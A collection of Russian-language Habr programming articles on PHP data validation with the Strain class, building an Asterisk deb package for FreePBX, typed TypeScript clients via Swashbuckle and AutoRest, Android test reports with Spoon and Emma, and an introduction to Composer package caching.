> 'email' => 'user@site.com',
>
>
> 'name' => 'User',
>
>
> 'address' => (object) array(
>
>
> 'city' => 'Default City',
>
>
> 'street' => 'Street'
>
>
> )
>
>
> );`
И так… мы имеем некий объект, который должен содержать корректные данные и иметь нужную нам структуру, и мы должны в этом удостовериться прежде чем кидать его в базу, причем мы должны точно узнать о всех ошибках валидации. К счастью Strain может полностью решить эту задачу.
Создадим объект, с помощью которого будет происходить валидация. В дальнейшем такие объекты я буду называть «схемой фильтрации данных» (СФ).
`> $valid = (object) array(
>
>
> 'email' => array('email', 'UserExists'),
>
>
> 'name' => array('string', 'regexp' => '/^[A-Za-z0-9 \_-]{3,20}$/'),
>
>
> 'address' => (object) array(
>
>
> 'city' => 'string',
>
>
> 'street' => 'string'
>
>
> )
>
>
> );`
Давайте подробно рассмотрим СФ. Сразу заметно, что объект полностью повторяет структуру проверяемых данных, только вот значения свойств какие-то «странные». Уверен, многие из вас уже догадались как именно составлялся этот объект.
Каждое значение объекта содержит либо название функции, либо другую ФС. Например в виде списка названий функций — массива смешанного типа, с возможностью передачи параметров в функцию. Помните ту непонятную переменную $options в задании функций? это оно!
Теперь приступим к проверке. Тут уже знакомый нам вызов.
`> Strain::it($user, $valid); // Вернет FALSE так как всё корректно`
Не забываем посмотреть, что осталось в Strain::$result
`> object(stdClass)#7 (3) {
>
>
> ["email"]=>
>
>
> NULL
>
>
> ["name"]=>
>
>
> NULL
>
>
> ["address"]=>
>
>
> object(stdClass)#9 (2) {
>
>
> ["city"]=>
>
>
> NULL
>
>
> ["street"]=>
>
>
> NULL
>
>
> }
>
>
> }`
Как мы видим объект прошел фильтрацию не оставив ошибок.
Дополнительная гибкость метода заключается в том, что с помощью метода Strain::add() можно добавлять не только сами анонимные функции, но и СФ, которые вы видели выше. Также возможны рекурсии, когда одна из функций запускает собственную проверку. (см. ниже)
##### Парочка замечаний
Прежде чем начать баловаться с этим классом, вам следует узнать еще парочку хитростей.
Если данные проверяются списком функций, то в $result попадёт результат от первой функции, которая чтото вернула. НО если функция вернет FALSE, то в результат уйдет NULL, а выполнение цепочки остановится. Это сделано для того, чтобы иметь простой способ остановить проверку не возвращая ошибку, например в случае, если значение может быть равным NULL, а может быть задано, и нужно выполнить проверку. Пример:
`> $valid = array('null', 'string', 'length' => array(2,10));`
В функции 'null' нужно написать, чтобы она возвращала FALSE, если ей пришло значение NULL, тогда дальнейшая проверка не будет проводиться и никакой ошибки не появится.
Реализация проверки массива с однотипными данными.
`> $valid = array('array\_of' => array('string', 'length' => array(2,10)));`
Пример того, как в функцию легко передаются СФ, которые она может использовать по своему усмотрению. В данном случае, ими проверяется каждый элемент массива.
Еще один интересный пример. Реализации условия ИЛИ.
`> $valid = array('mixed' => array('null', array('string', 'length' => array(2, 10))));`
Делает то же самое, что пример с NULL выше по тексту, только без обязательного возвращения FALSE этой функцией. Аналогично можно придумать функции реализующие различные XOR, NOR и BRRR!
В заключении, хочу рассказать про третий параметр метода Strain::it(). Он определяет поведение, применяемое к данным. Значения параметра:
0: Не меняет структуру данных;
1: Добавляет в структуру данных свойства указанные в структуре фильтров;
2: Удаляет из структуры данных свойства не указанные в структуре фильтров;
3: 1 и 2 вместе. (По умолчанию. Только с этим значением гарантируется, что объект после фильтрации будет иметь структуру аналогичную СФ, **даже если вместо объекта сунуть какой-нибудь NULL**)
Т.е. класс умеет удалять лишние свойства объектов, добавлять им новые и заменять то, что не соотвествует СФ. Созданные свойства по умолчанию имеют значение NULL и отдаются на фильтрацию.
#### Заключение
К сожалению, в исходники я не включил анонимные функции, кроме 'array\_of' и 'mixed'. В любом случае, писать их довольно легко, и каждый все равно захочет их сделать по-своему.
Для удобства использования и наглядности кода, рекомендую разделять написание названий ФП и ФВ. Например всем ФП давать имена содержащие в начале (или в конце) символ `!`. Или же придумать параметр, который будет явно указывать на логику.
**Важно!** В данный момент класс еще только тестируется и использовать его в **product** вы можете только на свой страх и риск.
Как и обещал, ссылка на исходники:
[Исходники Strain на GitHub](http://github.com/Tenphi/PHP-Strain-Class)
P.S. А кому-нибудь нужно нечто похожее, только на JS?
**Апдейт:** Если кого-то очень путает, что метод it() возращает TRUE, когда есть ошибка и FALSE, когда её нету, а не наоборот, то они могут поправить его код. На работе класса это никак не отразится.
**Апдейт 2:** В класс добавлен метод check(), который аналогичен методу it(), но выдает TRUE, если нет ошибок и FALSE если есть.
**Апдейт 3:** Добавлена возможность указывать функции непосредственно в схеме, а также возможность вставлять в массивы-схемы объекты-схемы, что пожалуй тянет на еще одну статью, потому что в двух словах это не объяснишь. Один из примеров я выложил в комментариях. | https://habr.com/ru/post/115082/ | null | ru | null |
# Сервер VoIP для небольшой компании (FreePBX 14, Asterisk 15, Ubuntu 16.04) часть 2
Добрый день, вечер или ночь, все зависит от времени суток в который вам довелось прочитать мою статью.
Продолжение статьи [Сервер VoIP для небольшой компании (FreePBX 14, Asterisk 15, Ubuntu 16.04) часть 1](https://habrahabr.ru/post/339986/).
В [комментариях](https://habrahabr.ru/post/339986/#comments) возник вопрос, почему я не создал deb пакет, скажу прямо — не было такой задачи. Но всё же я решил углубиться и решить эту проблему. Описывать установку Ubuntu server 16.04 не буду, остановлюсь только на главном.
Исходные данные:
* Ubuntu server 16.04 minimal, Память 1Gb, Диск 64 Gb, использует EFI, сервер виртуализации ESXi 6.5;
* Asterisk 15.0.0 в исходниках;
* Все дополнения из репозиториев.
Создание deb пакета asterisk 15.0.0:
1. Установим зависимости для сборки:
```
sudo apt install libiksemel-utils lame sox mpg123 pkg-config automake libtool autoconf git subversion xmlstarlet checkinstall
```
2. Скачиваем исходники Asterisk:
```
cd /usr/local/sbin
wget wget http://downloads.asterisk.org/pub/telephony/asterisk/asterisk-15-current.tar.gz
tar zxvf ./asterisk-15-current.tar.gz
cd ./asterisk-15*
```
3. Добавляем в исходники mp3:
```
contrib/scripts/get_mp3_source.sh
```
Asterisk сам скачает необходимые ему файлы.
4. Подготавливаем систему к сборке Asterisk:
```
contrib/scripts/install_prereq install
```
5. Конфигурируем исходники:
```
./configure --with-pjproject
```
Если в системе уже есть pjproject, то используйте:
```
./configure --with-pjproject-bundled
```
6. Собираем Asterisk:
```
make menuselect
make
```
Тут на своё усмотрение, я выбрал 'format\_mp3' и 'res\_config\_mysql'.
7. Создаем deb пакет командой:
```
checkinstall
```
Для работы Asterisk необходим пакет libjansson4, libxslt1-dev, добавляем их в зависимости, пункт 10.
8. Мне потребовалось изменить пакет, включить необходимые для полноценной работы с FreePBX директории и файлы:
```
dpkg-deb -x asterisk_15.0.0-1_amd64.deb asterisk
```
Я добавил директории /etc/aserisk, /var/spool/asterisk и файл /etc/default/asterisk
Если забыли внести зависимости то:
```
dpkg-deb -e asterisk_15.0.0-1_amd64.deb asterisk/DEBIAN
```
Собираем всё командой:
```
fakeroot dpkg -b asterisk/ .
```
Пакет создан, как создать локальные репозиторий описывать не буду, статьи есть habrahabr.ru.
P.S. Собранный пакет на установиться на систему где был собран, проблема в зависимостях установленных для сборки. На другой машине встаёт без проблем. Если у вас возникла ошибка с установкой, значит в системе нет зависимых пакетов. | https://habr.com/ru/post/340158/ | null | ru | null |
# На пути к полной типизации с TypeScript, Swashbuckle и AutoRest
Введение
--------
В данной статье рассматривается вопрос о том, как реализовать обмен типизированными сообщениями между Back-End на основе ASP.NET Web API и Front-End, созданного с использованием TypeScript. Это приобретает особенное значение при работе над объёмными проектами, и тем-более важно, если команда является распределенной. Например, когда Back-End и Front-End разработчики работают из разных мест, в разных часовых поясах, и не всегда имеют возможность проконтактировать и обсудить что-либо. В этом случае отслеживание изменений представляет кропотливую работу, которая может быть чревата множеством трудноуловимых ошибок.
Для автора статьи, как для человека, который пришел к разработке Front-End со стороны WPF и Silverlight, большой проблемой, стало отсутствие статической типизации. Сколько раз вместо того чтобы сложить “2” и “2” складывал “2” и “Функцию возвращающую 2”, или передавал DOM объект вместо его jQuery обертки. Появление статических анализаторов кода, таких как JSLint, несколько облегчило проблему, но настоящим прорывом, особенно в командной разработке, для нас стал TypeScript.
Суть проблемы
-------------
TypeScript – язык, который позволяет достичь статической типизации, хотя кое-кто называет ее “иллюзией” ( [habrahabr.ru/post/258957](https://habrahabr.ru/post/258957/), [habrahabr.ru/post/272055](https://habrahabr.ru/post/272055/) ). Любопытно, что критики особо выделяют работу с Back-End как *типично нетипобезопасный* сценарий.
Однако, суть проблемы заключается в том, что при написании Front-End приложений на JavaScript прежде, и на TypeScript в настоящее время, мы не имеем такого инструментария для работы с метаданными и авто-генерации клиентского кода, как некогда имели в WCF.
Метаданные
----------
Если обратиться к опыту WPF+WCF, то там в этом отношении все достаточно хорошо. Конечно данные, вообще говоря, всегда путешествуют в нетипизированном виде, но при отправке они остаются типизированными почти до самого конца, и лишь непосредственно перед посылкой другой стороне сериализуются в строку или бинарный поток. На другой стороне они, опять же, попадают в некоего клиента, который превращает их в типизированные. Для того, чтобы не писать руками такого клиента и не пытаться выловить множественные ошибки и существуют метаданные. В мире .NET в 90% случаев вообще не требуется никакой работы, ни для их генерации, ни для их обработки. Вы просто пишите свой сервис, не забыв добавить соответствующий endpoint, и получаете автогенерируемые метаданные. Также в один клик генерируете клиента и в результате получаете обмен типизированными сообщениями.
При разработке Single Page Application на JavaScript/TypeScript на смену WCF приходит Web API. В своё время было несколько удивительно, почему нет никакого способа генерации метаданных для Web API из коробки (не считать же help-pages метаданными). Видимо ответ в том, что главным получателем данных от Web API был код JavaScript, в котором типизация не имеет смысла. Однако, у нас теперь не JavaScript а TypeScript, и желание оперировать типизированными данными вновь становится актуальным.
Очень популярным форматом метаданных сейчас является OpenAPI/Swagger. Неудивительно, что появляются возможности генерировать метаданные и документацию в этом формате.
Далее мы продемонстрируем процесс организации типизированного взаимодействия.
Вкратце, мы выполним следующие шаги:
1. Подключим и настроим библиотеку Swashbuckle
2. Сгенерируем документацию/метаданные
3. Убедимся в удобности хранения сгенерированного файла в системе контроля версий
4. Подключим AutoRest
5. Сгенерируем клиентские модели
6. Опробуем их в деле.
Swashbuckle
-----------
[github.com/domaindrivendev/Swashbuckle](https://github.com/domaindrivendev/Swashbuckle)
Для начала мы хотим сгенерировать метаданные.
Итак, предположим у нас есть Web API, а в нем — контроллер, отвечающий за работу с сотрудниками.
```
///
/// Gets all employees.
///
///
/// Gets the list of all employees.
///
///
/// The list of employees.
///
[Route("api/employees")]
[HttpGet]
public Employee[] GetEmployees()
{
return new[]
{
new Employee { Id = 1, Name = "John Doe" },
new Employee { Id = 2, Name = "Jane Doe" }
};
}
```
Как видно – возвращается массив типизированных объектов типа Employee. Запустив наш проект, мы можем запросить список сотрудников:
<http://localhost:1234/api/employees>
Давайте теперь подключим библиотеку Swashbuckle. В NuGet существует два пакета Swashbuckle.Core и Swashbuckle. Разница между ними состоит в том, что первый является ядром и содержит весь код, делающий магию, a второй, в свою очередь, является лишь дополнением, которое устанавливает бутстраппер, конфигурирующий ядро.
Об этом написано в документации [github.com/domaindrivendev/Swashbuckle#iis-hosted](https://github.com/domaindrivendev/Swashbuckle#iis-hosted)
Мы отдаем предпочтение установке Core и написанию конфигурационного кода самостоятельно, т.к. его потом удобнее переиспользовать.
Давайте его установим
```
PM> Install-Package Swashbuckle.Core
```
зарегистрируем с помощью WebActivatorEx
```
[assembly: WebActivatorEx.PreApplicationStartMethod(typeof(FullyTypedExample.WebApi.SwaggerConfig), "RegisterGlobal")]
```
а также напишем код конфигурации
```
///
/// Configures Swagger.
///
///
/// The Swagger configuration.
///
public static void ConfigureSwagger(SwaggerDocsConfig config)
{
config.SingleApiVersion("v1", "FullyTypedExample.WebApi");
config.IncludeXmlComments(GetXmlCommentsPathForControllers());
config.IncludeXmlComments(GetXmlCommentsPathForModels());
config.GroupActionsBy(apiDescription => apiDescription.ActionDescriptor.ControllerDescriptor.ControllerName);
config.OrderActionGroupsBy(Comparer.Default);
config.PrettyPrint();
}
```
Здесь все довольно просто: сначала мы устанавливаем версию и заголовок нашего API. Далее говорим, что нужно включить xml-комментарии для контроллеров и моделей. Настраиваем порядок и группировку action внутри swagger-документа. Отдельно хочется упомянуть опцию PrettyPrint. Она включает форматирование JSON для swagger-документа. Эта опция пригодится для того, чтобы в дальнейшем документацию хранить в системе контроля версий и с легкостью просматривать её изменения, используя любой diff просмотрщик.
Теперь можно запустить проект и увидеть интерфейс Swagger.
<http://localhost:1234/swagger>
Рядом можно посмотреть на сам swagger-документ в виде JSON.
<http://localhost:1234/swagger/docs/v1>
Теперь нам нужно сложить сгенерированную документацию в систему контроля версий. Поскольку Swashbuckle использует под капотом майкрософтовский IApiExplorer, для того чтобы сгенерировать swagger файл обязательно придется запустить Web API (подробнее об этом тут [github.com/domaindrivendev/Swashbuckle/issues/559](https://github.com/domaindrivendev/Swashbuckle/issues/559)). То есть каждый раз, когда вы хотите сгенерировать документацию, вам придется запустить Web API и скопировать swagger/docs в файл вручную. Конечно же, хочется что-то более автоматизированное.
Мы решили это с помощью запуска Web API в виде self-hosted приложения, отправки запроса не endpoint swagger-а и записи ответа в файл. Тут как раз и пригодилось переиспользовать код конфигурации Swashbuckle. Выглядит все это примерно так:
```
///
/// Generate Swagger JSON document.
///
///
/// The file path where to write the generated document.
///
private static void GenerateSwaggerJson(string filePath)
{
// Start OWIN host
using (TestServer server = TestServer.Create())
{
HttpResponseMessage response = server.CreateRequest("/swagger/docs/v1").GetAsync().Result;
string result = response.Content.ReadAsStringAsync().Result;
string path = Path.GetFullPath(filePath);
File.WriteAllText(path, result);
}
}
```
Давайте теперь все это запустим:
```
nuget.exe restore "..\FullyTypedExample.sln"
"C:\Program Files (x86)\MSBuild\12.0\bin\MSBuild.exe" "..\FullyTypedExample.WebApi.SelfHosted\FullyTypedExample.WebApi.SelfHosted.proj" /v:minimal
"..\FullyTypedExample.WebApi.SelfHosted\bin\Debug\FullyTypedExample.WebApi.SelfHosted.exe" --swagger "swagger.json"
```
Итого мы получили swagger-документ в виде JSON файла и положили его в систему контроля версий. Теперь Front-End разработчики из нашей распределенной команды могут с легкостью отследить изменения в endpoint-ах. Давайте посмотрим, как это выглядит.
Допустим, мы добавили новый action для получения сотрудника по его идентификатору.
```
///
/// Gets employee by id.
///
///
/// The employee id.
///
///
/// Gets the employee by specified id.
///
///
/// The .
///
[Route("api/employees/{employeeId:int}")]
public Employee GetEmployeeById(int employeeId)
{
return this.GetEmployees().SingleOrDefault(x => x.Id == employeeId);
}
```
И заново сгенерировали swagger.json. Посмотрим, что поменялось
Как видите, для этого action появилась документация, которую легко можно увидеть, используя diff просмотрщик. Благодаря опции PrettyPrint она отформатирована и легко читается.
AutoRest
--------
Итак, первая часть нашего задания выполнена — метаданные у нас есть. Как же теперь сгенерировать клиентскую часть, т.е. типы данных (получаемых с сервера) на клиентской стороне?
Нужно сказать, что можно генерировать и сам код для запроса Web API, просто это немного сложнее и требует более трудоемкой работы по конфигурации кодогенераторов или написанию своих. Также, многое зависит от того, какие библиотеки (будь то jQuery, SuperAgent или даже новый экспериментальный Fetch API [developer.mozilla.org/en/docs/Web/API/Fetch\_API](https://developer.mozilla.org/en/docs/Web/API/Fetch_API)) и подходы (Promises, Rx и др.) вы используете в своем клиентском коде.
Для кодогенерации существуют следующие варианты:
**1. Swagger Code Generator** [github.com/swagger-api/swagger-codegen](https://github.com/swagger-api/swagger-codegen)
Официальный инструмент от команды Swagger, написан на Java и требует соответствующей инфраструктуры. Также может запускаться в Docker. Правда, генерация JavaScript и тем-более TypeScript в нем отсутствует. Хотя если вам нужно сгенерировать код, например, на Java — это ваш выбор. Нам он не подошел по понятным причинам.
**2. Swagger JS library** [github.com/swagger-api/swagger-js](https://github.com/swagger-api/swagger-js)
Тоже официальный инструмент от команды Swagger. Уже теплее. Написан на JS и генерирует JS код соответственно. Устанавливается через npm или bower. Инфраструктура нам подходит, но увы здесь нет той самой генерации типов.
**3. Swagger to JS & Typescript Codegen** [github.com/wcandillon/swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen)
Проект был опубликован несколько позже чем мы начали разрабатывать этот подход. Возможно в ближайшем будущем это станет самым подходящим решением.
**4. Написать свой ~~велосипед~~ кодогенератор.** В целом, почему бы и нет? Но для начала мы решили, что попробуем AutoRest, и если не взлетит, или не устроит нас возможностями, напишем таки свой, с блэк-джеком и… Ну вы поняли.
5. **AutoRest** [github.com/Azure/autorest](https://github.com/Azure/autorest)
И наконец, AutoRest от Azure команды Microsoft. Сейчас актуальная версия — 0.15.0, и честно говоря непонятно, считается ли это у них полноценным релизом или нет, но пометки Pre, как на предыдущих, не наблюдается. В общем, тут все просто, мы установили и сходу сгенерировали \*.d.ts файлы, которые нам и были нужны.
Итак, давайте пройдем заключительный отрезок нашего пути с помощью этого инструмента.
Подключаем AutoRest через NuGet:
```
PM> Install-Package AutoRest
```
Пакет не ставится в какой-то конкретный проект, ссылка на него добавляется для всего решения.
```
xml version="1.0" encoding="utf-8"?
```
В пакете есть консольное приложение AutoRest.exe, которое, собственно, и выполняет генерацию. Для запуска мы используем следующий скрипт
```
nuget.exe restore "..\FullyTypedExample.sln"
"..\packages\AutoRest.0.15.0\tools\AutoRest.exe" -Input "swagger.json" -CodeGenerator NodeJS
move "Generated\models\index.d.ts" "..\FullyTypedExample.HtmlApp\models.d.ts"
```
На вход мы подаем наш ранее сгенерированный swagger.json, а на выходе получаем models\index.d.ts — файл с моделями. Копируем его в клиентский проект.
Теперь в TypeScript мы имеем следующее описание модели:
```
/**
* @class
* Initializes a new instance of the Employee class.
* @constructor
* Represents the employee.
* @member {number} id Gets or sets the employee identifier.
*
* @member {string} name Gets or sets the employee name.
*
*/
export interface Employee {
id: number;
name: string;
}
```
Давайте опробуем его в деле:
```
public makeRequest() {
this.repository.getEmployees()
.then((employees) => {
// Generate html using tempalte string
this.table.innerHTML = employees.reduce((acc, x) => {
return `${acc}| ${x.id} | ${x.name} |
`;
}, '');
});
}
```
Здесь мы обращаемся к полям модели id и name. Мы намеренно опустили реализацию запроса на сервер, т.к. она, как мы уже и говорили, может зависеть от выбранных библиотек и подходов.
Если мы попытаемся обратиться к полю age, которого не существует, наш TS код не скомпилируется. Если в API исчезнет поле, к которому мы обращались ранее, наш код опять же не скомпилируется. Если добавятся новые поля, мы это сразу увидим, используя все тот же diff. Кроме того, мы автоматически получаем JSDoc документацию на основе метаданных. В общем, все прелести статической типизации налицо.
ResponseType
------------
Интересно, что при необходимости для документации можно указать иной тип нежели тот, что возвращается. Например, это может быть полезным при наличии legacy-кода, работающего с нетипизированными DataSet-ами; либо, если вы возвращаете IHttpActionResult из контроллеров. Не затрагивая реализацию методов, мы можем пометить их атрибутом ResponseType и разработать специальные типы
```
///
/// Gets all departments.
///
///
/// Gets the list of all departments.
///
///
/// The list of departments.
///
[Route("api/departments")]
[HttpGet]
[ResponseType(typeof(DepartmentsResponse))]
public DataSet GetDepartments()
{
var dataTable = new DataTable("Departments");
dataTable.Columns.Add("Id", typeof(int));
dataTable.Columns.Add("Name", typeof(string));
dataTable.Rows.Add(1, "IT");
dataTable.Rows.Add(2, "Sales");
var dataSet = new DataSet();
dataSet.Tables.Add(dataTable);
return dataSet;
}
```
чтобы получить на клиентской стороне типизированные модели
```
/**
* @class
* Initializes a new instance of the Department class.
* @constructor
* Represents the department.
* @member {number} id Gets or sets the department identifier.
*
* @member {string} name Gets or sets the department name.
*
*/
export interface Department {
id: number;
name: string;
}
```
Проблемы
--------
Во-первых, рост размера файла models.d.ts со временем. Пока мы еще не занимались разбиением его на несколько подфайлов, но это несомненно нужно будет сделать.
Также может возникнуть проблема с неправильной генерацией имен полей, если используется нестандартная нотация, например, если используются подчеркивания. Поле LAST\_NAME из C# кода сгенерируется в Swagger как lasT\_NAME, а в TypeScrpt — как lasTNAME.
```
///
/// Gets or sets the last name.
///
[Required]
// ReSharper disable once InconsistentNaming
public string LAST_NAME { get; set; }
```
```
"lasT_NAME": {
"description": "Gets or sets the last name.",
"type": "string"
}
```
```
export interface Employee {
id: number;
name: string;
firstName: string;
lasTNAME: string;
}
```
Отметим, что большинство мелких проблем легко решается с помощью конфигурации и не стоит отдельного упоминания.
Заключение
----------
Данный подход позволил нам организовать обмен типизированными сообщениями. При этом он обеспечил типизацию клиентских моделей, уменьшил вероятность расхождения клиентского и серверного кода, сделал более простым отслеживание изменений в API и моделях. Приятным бонусом стало удобное ручное тестирование API со встроенным REST-клиентом и возможностью генерации payload на лету по схеме. Использование данного подхода также помогло улучшить взаимодействие Back-End и Front-End разработчиков.
Работающий пример можно увидеть тут.
[github.com/EBTRussia/fully-typed-example](https://github.com/EBTRussia/fully-typed-example/) | https://habr.com/ru/post/283042/ | null | ru | null |
# Создание репортов о тестировании Android-приложений с помощью Spoon и Emma
Тестирование — один из самых важных этапов при разработке приложения. И приложения на Android не есть исключением. При написании кода обычно нужно его просматривать и задуматься над тем, как же его протестировать потом. Представим ситуацию, когда вам нужно покрыть тестами ваш проект, который полностью написан. Чаще всего, это не так-то просто. Скорее всего, ваш код просто-напросто не был реализован так, чтобы его было легко тестировать. Это означает, что вам придётся делать изменения в нём, чтобы сделать его поддающимся тестированию… не разрушив никакой функциональности (собственно это в наше время и называется рефакторингом (refactoring)). Но, выполняя такие изменения, можно ли быстро и уверенно сказать, что вы ничего не сломали в работающем коде, если в нём не было всесторонних тестов? Вряд ли. Я считаю, что тесты, а именно UNIT-тесты, должны быть написаны самим разработчиком, так как он и только он знает все о том как и что он пишет.
Что касается Android, как и все прочие, компания Google предоставила не плохие инструменты для тестирования, но с их помощью можно сделать далеко не всё. Для тестирования используеться jUnit-фреймворк, который имеет свои плюсы и минусы конечно-же.
jUnit — применяется для модульного тестирования, которое позволяет проверять на правильность отдельные модули исходного кода программы. Преимущество данного подхода заключается в изолировании отдельно взятого модуля от других. При этом, цель такого метода позволяет программисту удостовериться, что модуль, сам по себе, способен работать корректно. jUnit представляет из себя библиотеку классов. Но тот, кто писал тесты с помощью этого фреймворка наверное убедились, что он вовсе неудобен при тестировании GUI. Признаком хорошего тона является код, покрытый тестами и отчётом, который показывает процент покрытия кода тестами. В последнее время, в проектах мне приходиться писать кроме всего прочего и тесты от нагрузочных до GUI и я хотел-бы рассказать об особенностях, которые встречаю я и том, как создать эти отчёты. Но сначала об основных фреймворках:
Примерная картина использования основных фреймворков. По сути, каждый выбор для себя делает сам. Кто-то выбирает Robotium из-за неохоты лезть в исходный код, кто-то Espresso, из-за его интуитивно понятного интерфейса.
#### Spoon
Spoon – фреймворк, который умеет делать скриншоты с экрана устройства или эмулятора во время выполнения тестов и в результате создаёт из них отчёт. Кроме скриншотов, к отчёту он прикрепляет логирование тест-ранера, и в случае если тест не проходит он выводит полный стек-трейс, что очень удобно. Что-бы получить отчёт, делаем следующее:
* качаем [Spoon-clien](http://repo1.maven.org/maven2/com/squareup/spoon/spoon-client/1.1.1/spoon-client-1.1.1.jar)t и [Spoon-runner](http://repository.sonatype.org/service/local/artifact/maven/redirect?r=central-proxy&g=com.squareup.spoon&a=spoon-runner&v=LATEST&c=jar-with-dependencies);
* копируем Spoon-client впапку libs проекта с тестами;
* в этом же проекте создаем папку (например, spoon);
* копируем Spoon-runner в созданную папку;
* создаем bat-файл с таким скриптом:
```
call java -jar spoon-runner-1.1.1-jar-with-dependencies.jar
-- apk Path\to\your\project \bin\project.apk
-- test-apk Path\to\your\test-project \bin\tests.apk
```
В субпараметрах можно указать фильтр для для тестов, например запустить только тесты с аннотацией «Medium» можно добавив к скрипту — size medium.
Теперь скрипт будет выглядеть так:
```
call java -jar spoon-runner-1.1.1-jar-with-dependencies.jar
-- apk Path\to\your\project \bin\project.apk
-- test-apk Path\to\your\test-project \bin\tests.apk
-- size medium
```
Полный список субпараметров можно посмотреть на официальной его странице на [Github](http://square.github.io/spoon/). Всё, теперь при написании тестов просто где нужно вставляете:
```
Spoon.screenshot(activity, "state_changed"),
```
где второй аргумент та строка, что будет подсвечиваться над скриншотом. Да, ещё одна особенность — внутри себя он использует regex-ы, и при использовании пробелов в подписях выбрасывает исключение. Запускаем эмулятор или подключаем телефон, открываем наш батник и если всё сделано правильно, в той же папке увидите отчёт:
Официальный пример отчёта от разработчика [здесь](http://square.github.io/spoon/sample/index.html).
Отчёт из моего проекта можно посмотреть [здесь](https://github.com/oleksiikhorunzhyi/AutomationTestingReports/tree/master/tests/spoon/spoon-output).
Не плохо, не правда-ли? Ещё одним преимуществом «ложки» в том, что он запускает тесты одновременно на всех подключенных девайсах, тоесть соберёт в один отчет результати со всех девайсов. Единственным и наверное существенным минусом есть то, что он не делает скриншотов диалогов и увидеть что было на нем во время теста не есть возможным. Да и отчета о покрытии кода тестами он по прежнему не создаст! Что-же давайте исправим это.
##### Emma
Согласитесь, отчет выглядит как минимум достойно
Пример покрытого тестами кода:
и соответсвенно частично покрытого:
Полный отчёт [во всех форматах](https://github.com/oleksiikhorunzhyi/AutomationTestingReports/tree/master/tests/bin).
EMMA — инструментарий с открытым исходным кодом для измерения и отчетности покрытия кода тестами в Java. Этот инструмент встроен в Android SDK и разработчики предоставляют возможность генерации отчёта «с коробки». Основные возможности:
* поддержка инспектирования классов в автономном режиме(перед загрузкой) так и «на лету»;
* поддерживаемые типы покрытия: пакет, класс, метод, линия и основной блок. Также есть возможность обнаружить, когда одна строка исходного кода покрыта лишь частично;
* типы выходных отчетов: текст, HTML, XML;
##### Сборка проекта с помощью Ant
Apache Ant — инструмент для преобразования структур разработки в конструкцию развертывания приложений. Он является декларативным и все инструкции командной строки, используемые для развертывания приложения, представляются простыми XML-элементами. Более детально можно почитать [здесь](http://ant.apache.org/).
Для описания процедуры сборки проекта нужно: рабочий проект — MyProject и проект с тестами для него — MyProjectTests. О правилах, которых должны придерживаться при создании тестов можно прочитать [здесь](http://developer.android.com/tools/testing/testing_android.html).
В первую очередь, при сборке проекта с помощью Ant, нужно собрать проекты, которые используются в приложении как библиотеки. Если таковых нет, то этот шаг можно пропустить. Например, проект использует такие библиотеки, как «google\_play\_service\_lib» нужно выполнить следующее:
— в командной строке нужно перейти в папку установленной sdk\tools(к примеру, D:\android\adt-bundle\sdk\tools) и выполнить:
```
android update lib-project -p MyLibProject
```
, гдеMyLibProject — путь к библиотеке, используемом в проекте. В результате в корне проекта должен появиться build.xml и в консоли выпадет сообщение:
```
Updated local.properties
Updated file D:\Workspace\MyProject\build.xml
Updated file D:\Workspace\MyProjectTests\proguard-project.txt
```
После сборки всех библиотек нужно собрать сам рабочий проект. Для этого в той же папке нужно выполнить:
```
android update project -p MyProject
```
, где MyProject — путь к рабочей ветке проекта. Естественно, в этой папке должен находиться AndroidManifest.xml. Скрипт снова сгенерирует build.xml и соберёт рабочий проект. Можно ввести имя проекта через субпараметры, чтобы в дальнейшем его удобно использовать:
```
android update project -p MyProject -n NameForProject
```
Как же происходит сборка проекта с тестами? Всё аналогично и удобно. Скрипт для сборки проекта с тестами:
```
android update test-project -m ..\MyProject -p \MyProjectTests
```
, где MyProject — путь к рабочему проекту, а MyProjectTests — путь к проекту с тестами.
Всё готово! Кстати, на этом шаге у разработчиков могут возникнуть проблемы из-за использования библиотек! Например, в проекте разные jar-библиотеки могут быть собраны на основе библиотек, которые используются в других ваших библиотеках. Ant не понимает что с ними делать и в итоге возникает ошибка при сборке. То есть, если в проекте внутри себя юзают одну и туже либу, то это уже может привести к ошибке.
Для запуска подсчёта количества покрытия кода тестами в скрипте в субпараметрах нужно прописать emma. Перед запуском нужно запустить эмулятор или подключить девайс. В командной строке на топ-ветке проекта с тестами выполняется скрипт:
```
ant clean emma debug install test
```
В ходе выполнения тестов, Emma генерирует файл coverage.em в bin-папке главного проекта(метаданные), после прохождения всех тестов выставляет необходимые пермишины, создает файл coverage.ec в папке установленного проекта, копирует два этих файла в bin-папку тестового проекта и на основе их генерирует отчёт в этой же папке.
Исходники моего проекта с примерами отчётов можно посмотреть на [Github](https://github.com/oleksiikhorunzhyi/AutomationTestingReports).
#### Подитожим
Посмотрим на тесты, даже если они написаны очень хорошо. Вы можете смотря на них ответить, на сколько они покрывают ваш код? Достаточно-ли вам зелёной полоски, которая показывает результат ваших тестов, как визуального отчета в целом? Думаю, что нет. Использование отчётности, как результата выполнения работы показывает уровень компетентности специалиста, а когда речь идет об автоматизации тестирования, то и подавно. Написание скриптов может конечно отнять у вас некоторое время, но поверьте оно этого стоит! | https://habr.com/ru/post/222977/ | null | ru | null |
# Кэшинг пакетов для Composer
Используя современный подход к разработке проектов начинаешь пользоваться прелестями менеджера пакетов, в случаe с разработкой на PHP это Composer. В данной статье мы кратко рассмотрим Composer и далее речь пойдёт о настройке локального кэша пакетов.
Данное описание ни в коем случае не претендует на полноту, а лишь даёт краткое представление о данном инструменте.
**Описание Composer и пример с Silex.**Возьмём описания из официальной документации:
[Composer](http://getcomposer.org) — является инструментом для управления зависимостями в PHP. Позволяет объявлять зависимые библиотеки необходимые для проекта, и установить их в ваш проект. Composer работает в связке с Packagist.
[Packagist](https://packagist.org) — хранилище Composer пакетов. Позволяет вам находить нужные пакеты, а Composer узнавать откуда взять исходники пакетов.
В прочем Composer не ограничен Packagist хранилищем и вполне позволяет настроить зависимые пакеты из svn, git, pear. Пакеты должны содержать правильно настроенный конфигурационный файл (composer.json). Хотя и это не обязательно, если конфигурационный файл отсутствует в нужном вам пакете, то вам самим придётся его прописать уже в конфигурационном файле зависимостей вашего проекта. [Пример](http://getcomposer.org/doc/05-repositories.md#package-2)
Конфигурация зависимостей проекта происходит через Json конфигурационный файл (composer.json). Суть сводится к нахождению нужного пакета на Packagist, добавления соответствующей записи в composer.json и запуска Composer, который сам скачает и настроит пакет (настроит по мере прописанных действий разработчиком пакета). [Пример](http://getcomposer.org/doc/05-repositories.md#packages).
